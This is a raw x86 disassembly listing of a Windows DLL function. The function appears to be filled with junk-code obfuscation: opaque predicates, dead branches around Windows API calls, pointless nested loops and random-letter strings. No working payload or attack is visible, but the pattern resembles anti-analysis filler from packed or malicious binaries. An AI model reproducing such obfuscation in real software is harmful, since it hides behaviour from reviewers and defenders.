mov dword [ebp - 0x504], 0x7b04
mov dword [ebp - 0x2b8], 0
jmp 0x100268fd
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 3
jge 0x10026919
mov eax, dword [ebp - 0x2b8]
mov dword [ebp + eax*4 - 0xdcc], 0xfffffffb
jmp 0x100268f0
mov dword [ebp - 0x70c], 0x4226
mov dword [ebp - 0x860], str.koqunz_fympjh_ecc_err_qsfj_qqucqd_msupqo_rshsudyk
cmp dword [ebp - 0x70c], 0x4511
jle 0x100269c1
push 0xc98
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
and dword [ebp - 0x244], 0
jmp 0x10026960
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0x359c
jge 0x100269c1
and dword [ebp - 0x2c0], 0
jmp 0x10026982
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0x1f58
jge 0x100269bf
mov eax, dword [ebp - 0x244]
or eax, dword [ebp - 0x2c0]
cdq
mov dword [ebp - 0x8e8], eax
mov dword [ebp - 0x8e4], edx
push dword [ebp - 0x8e4]
push dword [ebp - 0x8e8]
mov ecx, 0x10075958
call fcn.1000daa1
jmp 0x10026975
jmp 0x10026953
mov dword [ebp - 0x78c], 0xdf603fa7
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xdcc], 0xfffffffd
cmp dword [ebp - 0x78c], 0xfffffffd
jle 0x100269f1
mov dword [ebp - 0x4fc], 1
jmp 0x100269f8
and dword [ebp - 0x4fc], 0
mov eax, dword [ebp - 0x32c]
cmp dword [ebp - 0x4fc], eax
jle 0x10026a12
mov dword [ebp - 0x65c], 1
jmp 0x10026a19
and dword [ebp - 0x65c], 0
mov eax, dword [ebp - 0x65c]
mov dword [ebp - 0x504], eax
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0x32c], eax
mov dword [ebp - 4], 0x1f
cmp dword [ebp - 0x70c], 0x3f8c
jge 0x10026a54
mov edx, dword [ebp - 0x860]
mov ecx, 0x10075958
call fcn.1001082c
jmp 0x10026a70
or dword [ebp - 4], 0xffffffff
jmp 0x10026a7a
cmp dword [ebp - 0x32c], 0
je 0x10026b28
push 2
lea ecx, [ebp - 0xc58]
call fcn.10001cf5
mov dword [ebp - 4], 0x21
mov dword [ebp - 0xaec], 9
mov dword [ebp - 0xae8], 9
mov dword [ebp - 0xae4], 9
mov dword [ebp - 0xae0], 9
mov dword [ebp - 0x24c], 0
jmp 0x10026adc
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 2
jge 0x10026afe
push dword [ebp - 0x24c]
lea ecx, [ebp - 0xc58]
call fcn.10001d4d
mov dword [eax], 0xfffffff8
jmp 0x10026acf
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xaec]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xaec], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc58]
call fcn.10001d31
jmp 0x10026b8d
mov dword [ebp - 0x50c], 8
mov dword [ebp - 0xbac], 0xfffffffd
mov dword [ebp - 0xba8], 0xfffffffd
mov dword [ebp - 0xba4], 0xfffffffd
mov dword [ebp - 0xba0], 0xfffffffd
mov eax, dword [ebp - 0x50c]
cmp eax, dword [ebp - 0x50c]
jne 0x10026b74
mov dword [ebp - 0x664], 1
jmp 0x10026b7b
and dword [ebp - 0x664], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x664]
mov dword [ebp + eax - 0xbac], ecx
and dword [ebp - 0x2c8], 0
jmp 0x10026ba3
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0xd
jae 0x10026bbe
xor eax, eax
mov ecx, dword [ebp - 0x2c8]
mov word [ebp + ecx*2 - 0xbe8], ax
jmp 0x10026b96
mov dword [ebp - 0x108], 1
mov byte [ebp - 0x89], 0
movzx eax, byte [ebp - 0x89]
test eax, eax
je 0x10026bfa
push 0x3be
push 0x1a1e
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
mov dword [ebp - 0x108], 0
jmp 0x10026c13
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 6
jne 0x10026db8
push 3
lea ecx, [ebp - 0xc68]
call fcn.10001cf5
mov dword [ebp - 4], 0x22
mov dword [ebp - 0xf0], 0xffffffff
mov dword [ebp - 0x254], 0
jmp 0x10026c57
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 3
jge 0x10026c79
push dword [ebp - 0x254]
lea ecx, [ebp - 0xc68]
call fcn.10001d4d
mov dword [eax], 7
jmp 0x10026c4a
mov dword [ebp - 0x514], 0x3f14
mov dword [ebp - 0x9b0], str.ezhxc_dtmgucdij_dvgisj_htjuo_txnevdupo_nts_nlcda_yacsvz_uifn_aiyioh
cmp dword [ebp - 0x514], 0x402c
jle 0x10026d10
and dword [ebp - 0x2d0], 0
jmp 0x10026caf
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x6a44
jge 0x10026d10
and dword [ebp - 0x25c], 0
jmp 0x10026cd1
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x650a
jge 0x10026d0e
mov eax, dword [ebp - 0x2d0]
xor eax, dword [ebp - 0x25c]
cdq
mov dword [ebp - 0x8f4], eax
mov dword [ebp - 0x8f0], edx
push dword [ebp - 0x8f0]
push dword [ebp - 0x8f4]
mov ecx, 0x10075958
call fcn.1000daa1
jmp 0x10026cc4
jmp 0x10026ca2
mov dword [ebp - 0xf0], 2
jmp 0x10026d29
mov eax, dword [ebp - 0xf0]
dec eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0
jl 0x10026d4c
mov byte [ebp - 0xbf], 0
movzx eax, byte [ebp - 0xbf]
test eax, eax
je 0x10026d4a
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
jmp 0x10026d1c
mov byte [ebp - 4], 0x23
cmp dword [ebp - 0x514], 0x3ba3
jge 0x10026d6c
mov edx, dword [ebp - 0x9b0]
mov ecx, 0x10075958
call fcn.1001082c
jmp 0x10026d88
mov dword [ebp - 4], 0x22
jmp 0x10026d98
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0xf0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc68]
call fcn.10001d31
jmp 0x10026c06
mov dword [ebp - 0x510], 0x2a9f
mov dword [ebp - 0x968], str.uxqd_gzgsowl_fmlnk_iitmslk_hzayw_ozudcgdb_pzczr_wfbtewl_eoohqldw_gjfbh_ojyuuqeb_wlq_mkjq_mtct
cmp dword [ebp - 0x510], 0x2aed
jle 0x10026e60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
and dword [ebp - 0x2d8], 0
jmp 0x10026dfc
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0x283f
jge 0x10026e60
and dword [ebp - 0x264], 0
jmp 0x10026e1e
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0x6e03
jge 0x10026e5e
mov eax, dword [ebp - 0x2d8]
cdq
idiv dword [ebp - 0x264]
mov eax, edx
cdq
mov dword [ebp - 0x900], eax
mov dword [ebp - 0x8fc], edx
push dword [ebp - 0x8fc]
push dword [ebp - 0x900]
mov ecx, 0x10075958
call fcn.1000daa1
jmp 0x10026e11
jmp 0x10026def
cmp dword [ebp - 0x508], 0
je 0x10029013
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x714], 7
mov byte [ebp - 0xc0], 0
movzx eax, byte [ebp - 0xc0]
test eax, eax
je 0x10026e98
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
mov dword [ebp - 0x74], 0xffffffec
jmp 0x10026ea8
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0x17
jle 0x100270e1
mov dword [ebp - 0x364], 1
mov dword [ebp - 0x874], 0xffff
mov dword [ebp - 0x764], 0x693a
mov dword [ebp - 0xa10], str.zcuzpr_tagjhle_tvj
cmp dword [ebp - 0x764], 0x6ab1
jle 0x10026ff8
and dword [ebp - 0x2e8], 0
jmp 0x10026f00
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0x5a59
jge 0x10026ff8
and dword [ebp - 0x2e0], 0
jmp 0x10026f26
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0x65db
jge 0x10026ff3
and dword [ebp - 0x26c], 0
jmp 0x10026f4c
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0x42d6
jge 0x10026fee
and dword [ebp - 0x274], 0
jmp 0x10026f72
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0x2054
jge 0x10026fe9
mov eax, dword [ebp - 0x2e0]
imul eax, dword [ebp - 0x26c]
mov ecx, dword [ebp - 0x2e8]
sub ecx, eax
or ecx, dword [ebp - 0x274]
mov eax, ecx
cdq
mov dword [ebp - 0x90c], eax
mov dword [ebp - 0x908], edx
push dword [ebp - 0x908]
push dword [ebp - 0x90c]
lea ecx, [ebp - 0xf0c]
call fcn.100026cb
pop ecx
pop ecx
mov dword [ebp - 0x868], eax
mov ecx, dword [ebp - 0x868]
call fcn.1000da81
push eax
call fcn.10041403
pop ecx
lea ecx, [ebp - 0xf0c]
call fcn.1000da77
jmp 0x10026f65
jmp 0x10026f3f
jmp 0x10026f19
jmp 0x10026ef3
mov dword [ebp - 0x9b8], 1
mov dword [ebp - 4], 0x25
cmp dword [ebp - 0x764], 0x681c
jge 0x10027021
push dword [ebp - 0xa10]
call fcn.10041403
pop ecx
jmp 0x1002703d
or dword [ebp - 4], 0xffffffff
jmp 0x10027047
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0xcc4], eax
mov eax, dword [ebp - 0x364]
cmp eax, dword [ebp - 0x74]
jne 0x1002706f
imul eax, dword [ebp - 0x74], 0
test eax, eax
je 0x1002706f
mov dword [ebp - 0x51c], 1
jmp 0x10027076
and dword [ebp - 0x51c], 0
mov eax, dword [ebp - 0x874]
cmp dword [ebp - 0x51c], eax
jne 0x10027096
cmp dword [ebp - 0x364], 0
jne 0x10027096
and dword [ebp - 0x66c], 0
jmp 0x100270a0
mov dword [ebp - 0x66c], 1
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x66c], eax
jle 0x100270b7
mov dword [ebp - 0x524], 1
jmp 0x100270be
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x524]
mov dword [ebp - 0x714], eax
mov eax, dword [ebp - 0x714]
add eax, dword [ebp - 0x364]
mov dword [ebp - 0x9b8], eax
jmp 0x10026ea1
push 2
lea ecx, [ebp - 0x7e0]
call fcn.10001cf5
mov dword [ebp - 4], 0x27
mov dword [ebp - 0x88c], 1
mov dword [ebp - 0x4c], 0
jmp 0x1002710f
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 1
jge 0x10027125
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x334], 0xf506e60b
jmp 0x10027108
mov dword [ebp - 0x4c], 0
jmp 0x10027135
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 2
jge 0x10027151
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x7e0]
call fcn.10001d4d
mov dword [eax], 0xf36f
jmp 0x1002712e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x334]
neg eax
mov dword [ebp - 0x52c], eax
push 1
lea ecx, [ebp - 0x7e0]
call fcn.10001d4d
mov ecx, dword [ebp - 0x52c]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x334]
cmp dword [ebp - 0x52c], eax
jne 0x100273ad
push 1
lea ecx, [ebp - 0x7e0]
call fcn.10001d4d
cmp dword [eax], 0
je 0x100273ad
mov dword [ebp - 0x78], 0xbca9d692
mov dword [ebp - 0xd4], 0x458a922a
push 3
lea ecx, [ebp - 0xb48]
call fcn.10001cf5
mov byte [ebp - 4], 0x28
mov dword [ebp - 0x2f0], 0
jmp 0x100271e5
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 3
jge 0x10027204
push dword [ebp - 0x2f0]
lea ecx, [ebp - 0xb48]
call fcn.10001d4d
and dword [eax], 0
jmp 0x100271d8
mov dword [ebp - 0x78], 0
jmp 0x10027214
mov eax, dword [ebp - 0x78]
dec eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xfffffff0
jge 0x1002735b
mov dword [ebp - 0x80], 0xa29822cb
mov dword [ebp - 0x118], 0x7865e1b
mov dword [ebp - 0x80], 0
jmp 0x1002723f
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 4
jg 0x10027342
mov dword [ebp - 0x880], 0xffffffff
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xc8c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x334]
mov dword [ebp - 0xd14], eax
imul eax, dword [ebp - 0x78], 0xffff
cmp eax, dword [ebp - 0x80]
jle 0x10027287
mov dword [ebp - 0x674], 1
jmp 0x1002728e
and dword [ebp - 0x674], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x674], eax
jg 0x100272ac
push 0xfffffffffffffffc
pop eax
test eax, eax
je 0x100272ac
mov dword [ebp - 0x534], 1
jmp 0x100272b3
and dword [ebp - 0x534], 0
cmp dword [ebp - 0x534], 0xfffa
ja 0x100272cb
mov dword [ebp - 0x7bc], 1
jmp 0x100272d2
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0x7bc]
sub eax, dword [ebp - 0x78]
mov dword [ebp - 0xd4], eax
mov esi, dword [ebp - 0xd4]
imul esi, dword [ebp - 0x78]
push 1
lea ecx, [ebp - 0x7e0]
call fcn.10001d4d
add esi, dword [eax]
mov eax, 0xd45b0e82
sub eax, dword [ebp - 0x80]
lea eax, [eax + esi - 0x24506148]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x118], 0
jmp 0x10027328
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xc
jne 0x1002733d
mov dword [ebp - 0x880], 0xffff040e
jmp 0x1002731b
jmp 0x10027238
push 2
lea ecx, [ebp - 0xb48]
call fcn.10001d4d
mov eax, dword [eax]
neg eax
mov dword [ebp - 0x80], eax
jmp 0x1002720d
mov dword [ebp - 0xd4], 0
jmp 0x10027374
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 1
jge 0x10027399
mov byte [ebp - 0xc2], 0
movzx eax, byte [ebp - 0xc2]
test eax, eax
je 0x10027397
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
jmp 0x10027367
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0xb48]
call fcn.10001d31
jmp 0x10027573
mov dword [ebp - 0x53c], 3
mov dword [ebp - 0xb28], 0xe11cd4ee
mov dword [ebp - 0xb24], 0xe11cd4ee
mov dword [ebp - 0xb20], 0xe11cd4ee
mov dword [ebp - 0xb1c], 0xe11cd4ee
lea ecx, [ebp - 0x391]
call fcn.10001da5
push eax
lea eax, [ebp - 0xb18]
push eax
lea eax, [ebp - 0xb28]
push eax
lea ecx, [ebp - 0xe0c]
call fcn.1000dd98
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xc88]
call fcn.1000dd72
mov byte [ebp - 4], 0x29
mov dword [ebp - 0x9c0], 0
mov dword [ebp - 0x27c], 0
jmp 0x1002743b
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 3
jge 0x10027457
mov eax, dword [ebp - 0x27c]
mov dword [ebp + eax*4 - 0xc78], 0xa84d2376
jmp 0x1002742e
mov dword [ebp - 0x53c], 0x1448afe0
push 1
lea ecx, [ebp - 0x7e0]
call fcn.10001d4d
cmp dword [eax], 0
je 0x10027484
xor eax, eax
inc eax
je 0x10027484
mov dword [ebp - 0xa5c], 1
jmp 0x1002748b
and dword [ebp - 0xa5c], 0
mov eax, dword [ebp - 0x53c]
mov dword [ebp - 0xca8], eax
cmp dword [ebp - 0x88c], 0
jne 0x100274ac
mov dword [ebp - 0x67c], 1
jmp 0x100274b3
and dword [ebp - 0x67c], 0
cmp dword [ebp - 0x67c], 2
jge 0x100274c8
mov dword [ebp - 0x398], 1
jmp 0x100274cf
and dword [ebp - 0x398], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x398]
mov dword [ebp + eax - 0xc78], ecx
mov eax, dword [ebp - 0x398]
shl eax, 3
mov dword [ebp - 0x544], eax
push 0
lea ecx, [ebp - 0xc88]
call fcn.10001d4d
mov ecx, dword [ebp - 0x544]
mov dword [eax], ecx
cmp dword [ebp - 0x544], 0xebf085ff
jbe 0x1002751e
mov dword [ebp - 0x71c], 1
jmp 0x10027525
and dword [ebp - 0x71c], 0
mov eax, dword [ebp - 0x71c]
sub eax, 5
cmp eax, 0x69e0d944
je 0x10027551
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc78], 0
je 0x10027551
mov dword [ebp - 0x54c], 1
jmp 0x10027558
and dword [ebp - 0x54c], 0
mov eax, dword [ebp - 0x54c]
mov dword [ebp - 0x9c0], eax
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0xc88]
call fcn.10001d31
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7e0]
call fcn.10001d31
mov byte [ebp - 0x154], 6
mov byte [ebp - 0x153], 0xe2
mov byte [ebp - 0x152], 0xd
mov byte [ebp - 0x151], 0x10
mov byte [ebp - 0x150], 0xc
mov byte [ebp - 0x14f], 0
mov byte [ebp - 0x14e], 0
mov byte [ebp - 0x14d], 0x34
mov byte [ebp - 0x14c], 1
mov byte [ebp - 0x14b], 0x22
mov byte [ebp - 0x14a], 9
mov byte [ebp - 0x149], 1
mov byte [ebp - 0x148], 5
mov byte [ebp - 0x147], 0xb
mov byte [ebp - 0x146], 1
mov byte [ebp - 0x145], 0xf9
mov byte [ebp - 0x144], 3
mov byte [ebp - 0x143], 0x3f
mov byte [ebp - 0x142], 8
mov byte [ebp - 0x141], 0x34
mov byte [ebp - 0x140], 4
mov byte [ebp - 0x13f], 0x16
mov byte [ebp - 0x13e], 7
mov byte [ebp - 0x13d], 0x33
mov byte [ebp - 0x13c], 0xa
mov byte [ebp - 0x13b], 0x33
mov byte [ebp - 0x13a], 0xb
mov byte [ebp - 0x139], 0x17
mov byte [ebp - 0x138], 2
mov byte [ebp - 0x137], 0x11
mov dword [ebp - 0x14], 0xfffffffa
mov dword [ebp - 0x8a4], 0xe0cd1ad7
mov dword [ebp - 0x14], 0
jmp 0x10027675
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xfffffff6
jne 0x100277a3
mov dword [ebp - 0x2f8], 0
jmp 0x10027698
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 4
jge 0x100276b4
mov eax, dword [ebp - 0x2f8]
mov dword [ebp + eax*4 - 0xbbc], 0xfffffff7
jmp 0x1002768b
cmp dword [ebp - 0x14], 0
jne 0x10027735
cmp dword [ebp - 0x14], 0xffffffff
jge 0x100276cc
mov dword [ebp - 0x684], 1
jmp 0x100276d3
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x684]
neg eax
mov ecx, dword [ebp - 0x14]
add ecx, eax
jne 0x100276f2
push 0xfffffffffffffffa
pop eax
test eax, eax
jne 0x100276f2
and dword [ebp - 0x898], 0
jmp 0x100276fc
mov dword [ebp - 0x898], 1
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xccc], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xbbc]
mov dword [ebp - 0xcb0], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, 0x2972
sub ecx, dword [ebp + eax - 0xbbc]
jne 0x10027735
and dword [ebp - 0x554], 0
jmp 0x1002773f
mov dword [ebp - 0x554], 1
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x554]
jl 0x10027756
mov dword [ebp - 0x76c], 1
jmp 0x1002775d
and dword [ebp - 0x76c], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x76c], eax
je 0x10027774
mov dword [ebp - 0x55c], 1
jmp 0x1002777b
and dword [ebp - 0x55c], 0
push 4
pop eax
shl eax, 0
imul ecx, dword [ebp - 0x55c], 0x9ca3
add ecx, dword [ebp + eax - 0xbbc]
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xbbc], ecx
jmp 0x1002766e
cmp dword [ebp - 0x14], 0
jne 0x100277e3
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
je 0x100277bd
mov dword [ebp - 0x68c], 1
jmp 0x100277c4
and dword [ebp - 0x68c], 0
mov eax, dword [ebp - 0x14]
add eax, 0x1f0d
cmp eax, dword [ebp - 0x68c]
jl 0x100277e3
cmp dword [ebp - 0x14], 0
jne 0x100277e3
and dword [ebp - 0x564], 0
jmp 0x100277ed
mov dword [ebp - 0x564], 1
mov eax, dword [ebp - 0x564]
sub eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x14]
test eax, eax
je 0x10027854
mov dword [ebp - 0xa20], 0
mov dword [ebp - 0x168], 0
jmp 0x10027821
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 3
jge 0x1002783d
mov eax, dword [ebp - 0x168]
mov dword [ebp + eax*4 - 0xde4], 0xd9403132
jmp 0x10027814
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xde4]
mov dword [ebp - 0xa20], eax
jmp 0x10027a15
push 2
lea ecx, [ebp - 0x3b0]
call fcn.10001cf5
mov dword [ebp - 4], 0x2a
mov dword [ebp - 0x170], 0
jmp 0x10027881
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 2
jge 0x100278a0
push dword [ebp - 0x170]
lea ecx, [ebp - 0x3b0]
call fcn.10001d4d
or dword [eax], 0xffffffff
jmp 0x10027874
push 0
lea ecx, [ebp - 0x3b0]
call fcn.10001d4d
cmp dword [eax], 0
je 0x100279b4
imul eax, dword [ebp - 0x14], 0x81c3
test eax, eax
jne 0x100278cd
mov dword [ebp - 0x724], 1
jmp 0x100278d4
and dword [ebp - 0x724], 0
push 1
lea ecx, [ebp - 0x3b0]
call fcn.10001d4d
mov ecx, dword [ebp - 0x724]
cmp ecx, dword [eax]
jl 0x100278f7
mov dword [ebp - 0x56c], 1
jmp 0x100278fe
and dword [ebp - 0x56c], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x56c], eax
jne 0x10027915
mov dword [ebp - 0x694], 1
jmp 0x1002791c
and dword [ebp - 0x694], 0
cmp dword [ebp - 0x694], 0x4aec
jge 0x1002792f
cmp dword [ebp - 0x8a4], 0
mov esi, dword [ebp - 0x14]
push 1
lea ecx, [ebp - 0x3b0]
call fcn.10001d4d
mov edi, eax
push 1
lea ecx, [ebp - 0x3b0]
call fcn.10001d4d
mov eax, dword [eax]
sub eax, dword [edi]
sub eax, esi
cmp dword [ebp - 0x14], eax
jl 0x1002796e
mov eax, 0xc7df
test eax, eax
je 0x1002796e
mov dword [ebp - 0x574], 1
jmp 0x10027975
and dword [ebp - 0x574], 0
cmp dword [ebp - 0x574], 0xffffffff
jg 0x10027993
mov eax, 0x438315e
test eax, eax
je 0x10027993
mov dword [ebp - 0x79c], 1
jmp 0x1002799a
and dword [ebp - 0x79c], 0
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x79c]
test eax, eax
je 0x100279b4
mov dword [ebp - 0x9c8], 1
jmp 0x100279bb
and dword [ebp - 0x9c8], 0
push 1
lea ecx, [ebp - 0x3b0]
call fcn.10001d4d
push 1
lea ecx, [ebp - 0x3b0]
call fcn.10001d4d
mov esi, eax
push 1
lea ecx, [ebp - 0x3b0]
call fcn.10001d4d
mov eax, dword [eax]
cmp eax, dword [esi]
je 0x100279f6
mov dword [ebp - 0x57c], 1
jmp 0x100279fd
and dword [ebp - 0x57c], 0
mov eax, dword [ebp - 0x57c]
mov dword [ebp - 0x14], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3b0]
call fcn.10001d31
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x154]
and eax, 0x81
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x154]
or ecx, 0x81
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x154]
mov byte [ebp + eax - 0xa88], cl
mov dword [ebp - 0x34], 0xdcec3d7d
mov dword [ebp - 0xf8], 0xfffffffe
mov dword [ebp - 0x774], 0x5dcd
mov dword [ebp - 0x9d0], str.wma_wisukiys_dhu_hrfgyjlh_trn_enwjno_yjnbpc_xig_kexkk_knniqo_mqxllwfs_luodcehpy_hjmbkd_pngz
cmp dword [ebp - 0x774], 0x5fe7
jle 0x10027b2e
and dword [ebp - 0x178], 0
jmp 0x10027a9e
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0x13e3
jge 0x10027b2e
and dword [ebp - 0x180], 0
jmp 0x10027ac4
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0x3ee5
jge 0x10027b29
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x180]
shl eax, cl
cdq
mov dword [ebp - 0x918], eax
mov dword [ebp - 0x914], edx
push dword [ebp - 0x914]
push dword [ebp - 0x918]
lea ecx, [ebp - 0xe4c]
call fcn.100026cb
pop ecx
pop ecx
mov dword [ebp - 0x8b0], eax
mov ecx, dword [ebp - 0x8b0]
call fcn.1000da81
push eax
call fcn.10041403
pop ecx
lea ecx, [ebp - 0xe4c]
call fcn.1000da77
jmp 0x10027ab7
jmp 0x10027a91
cmp dword [ebp - 0x34], 0
je 0x10027b65
mov dword [ebp - 0x34], 0
jmp 0x10027b44
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x26
jne 0x10027b60
mov dword [ebp - 0xcd0], 0xad67
mov dword [ebp - 0xf8], 1
jmp 0x10027b3d
jmp 0x10027e71
mov dword [ebp - 0xe0], 0x8f4727ca
mov dword [ebp - 0x188], 0
jmp 0x10027b88
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 1
jge 0x10027ba4
mov eax, dword [ebp - 0x188]
mov dword [ebp + eax*4 - 0x8bc], 1
jmp 0x10027b7b
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x34], 0xfffffff5
jmp 0x10027bbd
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jg 0x10027e71
mov dword [ebp - 0xf8], 0
jmp 0x10027be0
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 8
jg 0x10027e52
mov dword [ebp - 0x33c], 0xffff
push 3
lea ecx, [ebp - 0xaac]
call fcn.10001cf5
mov dword [ebp - 4], 0x2b
mov dword [ebp - 0x190], 0
jmp 0x10027c24
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 3
jge 0x10027c43
push dword [ebp - 0x190]
lea ecx, [ebp - 0xaac]
call fcn.10001d4d
or dword [eax], 0xffffffff
jmp 0x10027c17
mov dword [ebp - 0xe0], 0
jmp 0x10027c5c
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0x39
jne 0x10027e3e
mov dword [ebp - 0xdc], 0xfffffff8
mov dword [ebp - 0x584], 0xa5bed857
mov dword [ebp - 0xdc], 0
jmp 0x10027c96
cmp dword [ebp - 0xdc], 0xffffffe9
jne 0x10027dd8
mov dword [ebp - 0x198], 0
jmp 0x10027cbc
cmp dword [ebp - 0x198], 1
jge 0x10027cd8
mov eax, dword [ebp - 0x198]
mov dword [ebp + eax*4 - 0xa78], 6
jmp 0x10027caf
mov eax, dword [ebp - 0x33c]
dec eax
mov dword [ebp - 0x33c], eax
mov eax, dword [ebp - 0x33c]
cmp eax, dword [ebp - 0xdc]
